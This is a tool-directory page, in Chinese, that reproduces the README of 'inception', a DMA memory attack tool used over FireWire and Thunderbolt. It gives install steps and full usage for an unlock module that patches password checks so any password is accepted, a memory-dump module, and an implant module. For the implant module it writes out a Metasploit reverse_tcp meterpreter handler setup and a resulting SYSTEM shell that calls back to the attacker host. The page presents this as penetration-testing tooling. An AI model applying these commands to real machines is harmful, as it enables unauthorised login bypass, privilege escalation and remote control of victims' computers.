Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
inception — Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe interfaces. | Kitploit
工具/GitHubGitHub/carmaa/inception
Privilege EscalationMemory ForensicsExploitationPost-ExploitationDigital ForensicsPenetration TestingHardware SecurityRed TeamingPayload Development
GitHubcarmaa/inception

inception

Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe interfaces.

1.6k1981年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

注意:此工具已不再活跃开发,请查看 PCILeech 代替。

INCEPTION

Inception 是一款利用基于 PCI 的 DMA 进行物理内存操控和黑客攻击的工具。该工具可通过 FireWire、Thunderbolt、ExpressCard、PC Card 以及任何其他 PCI/PCIe 硬件接口进行攻击。

Inception 旨在提供一种相对快速、稳定、简单且可扩展的方式,通过 DMA 对运行中的计算机执行侵入性和非侵入性内存攻击。

工作原理

Inception 的模块工作原理如下:通过向受害者机器呈现一个序列总线协议 2(SBP-2)单元目录(通过 IEEE1394 FireWire 接口),受害者操作系统会认为一个 SBP-2 设备已连接到 FireWire 端口。由于 SBP-2 设备利用直接内存访问(DMA)来实现快速、大批量数据传输(例如 FireWire 硬盘和数码摄像机),受害者会降低防护并为该设备启用 DMA。此时,工具便获得了对受害者内存低 4GB 区域的完全读写权限。

一旦获得 DMA 授权,工具便会搜索可用内存页面,在操作系统代码的特定偏移处查找特征签名。找到后,工具会操控这些代码。例如,在解锁模块中,工具会短路操作系统的密码认证模块(该模块在输入错误密码时被触发)。

运行该模块后,你应该能够使用任何密码登录受害者机器。

这个操作的比喻类似于在机器的内存中植入一个想法:任何密码都是正确的。换句话说,相当于内存植入。

Inception 是免费提供的,也是我的一个业余项目。

太棒了!但为什么?

世界各地的取证专家、政府以及三个字母的机构已经在使用类似工具。因此,如果你是持不同政见者或面对一个压迫性政权,这个工具说明了 OPSEC 的重要性。永远不要让你的笔记本电脑离开视线。

注意事项

OS X > 10.7.2 和 Windows > 8.1 在用户锁定操作系统时禁用了 FireWire DMA,从而阻止了 Inception。当用户登录时,该工具仍然可以工作。然而,这在现实中是一个不太可能的攻击场景。

此外,OS X Mavericks > 10.8.2 在 Ivy Bridge(>= 2012 年的 Mac)上 启用了 VT-D,有效阻止了 DMA 请求,即使已登录也无法使用任何 Inception 模块。请在你的日志/控制台中查找 vtd[0] fault 条目。

尽管这两个注意事项将逐渐减少此工具适用的场景,但截至 2015 年 3 月,仍有 70% 的机器是脆弱的。

关键数据

  • 版本:0.4.2
  • 许可证:GPL
  • 作者:Carsten Maartmann-Moe ([email protected])
  • Twitter:@MaartmannMoe
  • 源代码:https://github.com/carmaa/inception

该工具使用了 libforensic1394 库,由 Freddie Witherden 根据 LGPL 许可证提供。

要求

Inception 需要:

  • 硬件:
    • 攻击者机器:Linux 或 Mac OS X(主机/攻击者机器),带有 FireWire 接口,可以是原生 FireWire 端口、ExpressCard/PCMCIA 扩展端口或 Thunderbolt 转 FireWire 适配器。
    • 受害者机器:FireWire 或 Thunderbolt 接口,或 ExpressCard/PCMCIA 扩展端口。

目前推荐在攻击端使用 Linux,因为 OS X 上的 FireWire 接口存在 bug。注意,直接 Thunderbolt 到 Thunderbolt 不起作用,你需要一个 FireWire 适配器。在 Linux 上尝试使用 Thunderbolt 时,效果可能因设备而异。

  • 软件:
    • Python 3
    • git
    • gcc(包括 g++)
    • cmake
    • pip(用于自动解决依赖)
    • libforensic1394
    • msgpack

安装

在基于 Debian 的发行版上,安装命令可以概括为(如果不是 root,根据需要应用 sudo):

root@kitploit:~
apt-get install git cmake g++ python3 python3-pip

在 OS X 上,你可以使用 homebrew 安装工具所需的依赖:

root@kitploit:~
brew install git cmake python3

安装依赖后,下载并安装 libforensic1394:

root@kitploit:~
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install

下载并安装 Inception

root@kitploit:~
git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install

如果你已安装 pip,安装脚本应能自动安装依赖项。

一般用法

  1. 用 FireWire 线缆连接攻击者机器(主机)和受害者机器(目标)
  2. 运行 Inception

只需输入:

root@kitploit:~
incept [模块名称]

如需更完整和最新的描述,请运行:

root@kitploit:~
incept -h

或查看工具主页。

模块

从 0.4.0 版本开始,Inception 已模块化。当前模块及其功能如下所述。

如需详细的用法选项,请运行:

root@kitploit:~
incept [模块名称] -h

Unlock

unlock 模块可以解锁(任何密码都被接受)并将权限提升到管理员/root,适用于几乎*任何你拥有物理访问权限且已开机的机器。该模块主要用于那些使用了全盘加密(如 BitLocker、FileVault、TrueCrypt 或 Pointsec)的计算机。对于没有加密的机器,还有很多其他(且更好)的攻击方式。

解锁模块在拥有 4 GiB 或更少主内存的机器上稳定运行。如果目标机器内存超过 4 GiB,则需要足够幸运才能在工具可访问的物理内存页框中找到特征签名。

在此版本中,它能解锁以下 x86 和 x64 操作系统:

(1):请参见上面的注意事项。

使用 PAM 认证的其他 Linux 发行版也可能通过 Ubuntu 特征签名工作。

该模块还能有效实现权限提升,例如通过 runas 或 sudo -s 命令。

执行

要解锁,只需输入:

root@kitploit:~
incept unlock

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
下载:https://github.com/carmaa/inception | Twitter:@MaartmannMoe

[?] 可能写入文件。确定吗?[y/N] y
[*] 可用的目标(已知签名):

[1] Windows 8 MsvpPasswordValidate 解锁/权限提升
[2] Windows 7 MsvpPasswordValidate 解锁/权限提升
[3] Windows Vista MsvpPasswordValidate 解锁/权限提升
[4] Windows XP MsvpPasswordValidate 解锁/权限提升
[5] Mac OS X DirectoryService/OpenDirectory 解锁/权限提升
[6] Ubuntu libpam 解锁/权限提升
[7] Linux Mint libpam 解锁/权限提升

[?] 请选择目标(或输入 'q' 退出):2
[*] 选择的目标:Windows 7 MsvpPasswordValidate 解锁/权限提升
[=============>                                                ]  227 MiB ( 22%)
[*] 在页号 58227 的 0xe373312 处找到签名
[*] 补丁验证成功
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

Implant

implant 模块将(仅内存的)Metasploit 载荷直接植入目标机器的易失性内存中。它通过 Metasploit 各版本中自带的 msfrpcd 守护进程与 MSF 集成。

当前版本仅作为概念验证,适用于 Windows 7 SP1 x86。不支持其他操作系统、版本或架构,也不保证将来会支持。

执行

要使用它,先启动 msfrpcd:

root@kitploit:~
msfrpcd -P [密码]

然后在另一个终端中启动 Inception:

root@kitploit:~
incept implant --msfpw [密码] --msfopts [选项]

例如,要创建一个从目标机器到攻击主机的反向 TCP meterpreter shell,首先启动 msfrpcd 守护进程,然后启动一个监听回调的控制台。

root@kitploit:~
msfrpcd -P password
msfconsole

在控制台中,我们配置载荷的接收端。将 EXITFUNC 选项设置为 thread,以确保如果出现问题,目标进程保持存活:

root@kitploit:~
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.1
set EXITFUNC thread
set ExitOnSession false
exploit -j

然后,在另一个终端中启动 Inception:

root@kitploit:~
incept implant --msfpw password --msfopts LHOST=172.16.1.1

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
下载:https://github.com/carmaa/inception | Twitter:@MaartmannMoe

[?] 可能写入文件。确定吗?[y/N] y
[!] 此模块当前仅作为概念验证,适用于 Windows 7 SP1 x86。不支持其他操作系统、版本或架构,也不保证将来会支持。
[?] 你想使用哪个 MSF 载荷?windows/meterpreter/reverse_tcp
[*] 已选择选项:
[*] LPORT:4444
[*] LHOST:172.16.1.1
[*] EXITFUNC:thread
[*] 阶段 1:搜索注入点
[================================>                             ]  537 MiB ( 53%)
[*] 在页号 137681 的 0x219d118c 处找到签名
[*] 在 0x219d118c 处打补丁
[\] 等待确保阶段 1 执行
[*] 恢复初始注入点的内存
[*] 阶段 2:搜索阶段 1 中分配的页面
[=========================>                                    ]  434 MiB ( 42%)
[*] 在页号 111321 的 0x1b2d9000 处找到签名
[*] 在 0x1b2d9000 处打补丁
[*] 补丁验证成功
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

在你的 MSF 控制台中,你应该会看到类似这样的输出:

root@kitploit:~
msf exploit(handler) > [*] Sending stage (769536 bytes) to 172.16.78.200
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 172.16.78.200:49178) at 2014-08-30 16:23:31 +0200

msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6  172.16.1.1:4444 -> 172.16.78.200:49178 (172.16.78.200)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Dump

dump 模块用于将目标机器的内存转储到攻击主机。

执行

root@kitploit:~
incept dump

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
下载:https://github.com/carmaa/inception | Twitter:@MaartmannMoe

[*] 正在从 0x0 转储到 0x40000000,共 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] 内存已转储到文件 memdump_0x0-0x40000000_20140830-174305.bin
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

已知错误 / 注意事项

请参阅顶部的注释和工具主页。

故障排除

请参阅工具主页。

计划中的功能

  • 在 x64 上的可靠植入
  • VT-D 绕过
  • 内核(ring 0)植入
  • 更多特征签名

开发历史

  • 0.0.1 - 第一版,支持基本的 Windows XP SP3、Vista 和 7、Mac OS X 和 Ubuntu Gnome 解锁
  • 0.0.2 - 添加了早期 XP SP3 和 Windows 7 x86 及 x64 SP1 的签名
  • 0.0.3 - 添加了一些签名(感谢 Tekkenhead)和错误处理
  • 0.0.4 - 添加了 businfo 以显示连接的 FireWire 设备以及内存转储功能
  • 0.0.5 - 增强了内存转储能力并添加了示例目录
  • 0.0.6 - 添加了单元测试
  • 0.0.7 - 更新了 Ubuntu 签名和权限提升 - 感谢阿尔及利亚的 Adel Khaldi
  • 0.0.8 - 修复了 Ubuntu 解锁和权限提升补丁 - 单次补丁实现双重效果
  • 0.1.0 - 第一个次要版本!添加了 OS X 和 Vista 的签名,并修复了不少 bug
  • 0.1.1 - 添加了 Ubuntu 12.04 LTS 的签名
  • 0.1.2 - 修复了多个 bug
  • 0.1.3 - 修复了 OS X 10.6.8 x64 签名 bug
  • 0.1.4 - 添加了手动模式,便于测试新签名
  • 0.2.0 - 添加了 OS X Mountain Lion (10.8) 和 Windows 8 的签名
  • 0.2.1 - 添加了 Ubuntu 12.10 的签名
  • 0.2.2 - 添加了 Linux Mint 的签名
  • 0.2.3 - 常规代码清理,更漂亮且更一致的输出
  • 0.2.4 - 添加了进度条
  • 0.2.5 - 不再需要 root 权限来运行工具
  • 0.2.6 - 错误修复
  • 0.3.0 - 添加了对 Ubuntu 13.04 目标的支持
  • 0.3.1 - 添加了对 OS X Mavericks 和 Windows 8.1 的支持
  • 0.3.2 - 错误修复,支持 Ubuntu 13.10
  • 0.3.3 - 修复了关于输出和错误处理的 bug
  • 0.3.4 - Maestro!
  • 0.3.5 - 添加了 Ubuntu 10.10 和 10.04 x86 签名
  • 0.4.0 - 完全重构和重写。添加了植入模块
  • 0.4.1 - 合并了 SLOTSCREAMER 接口支持
  • 0.4.2 - 新签名

免责声明

不要用此工具做坏事。另外,我是一名渗透测试人员,不是开发者。所以如果你看到奇怪的代码影响了你的 Pythonic 纯洁感,请告诉我如何改进。或者更棒的是,分叉我的代码,修改它并提交拉取请求。

下载工具
操作系统版本解锁锁定屏幕权限提升
Windows 88.1是 (1)是 (1)
Windows 88.0是是
Windows 7SP1是是
Windows 7SP0是是
Windows VistaSP2是是
Windows VistaSP1是是
Windows VistaSP0是是
Windows XPSP3是是
Windows XPSP2是是
Windows XPSP1
Windows XPSP0
Mac OS XMavericks是 (1)是 (1)
Mac OS XMountain Lion是 (1)是 (1)
Mac OS XLion是 (1)是 (1)
Mac OS XSnow Leopard是是
Mac OS XLeopard
UbuntuSaucy是是
UbuntuRaring是是
UbuntuQuantal是是
UbuntuPrecise是是
UbuntuOneiric是是
UbuntuNatty是是
Linux Mint13是是
Linux Mint12是是
Linux Mint12是是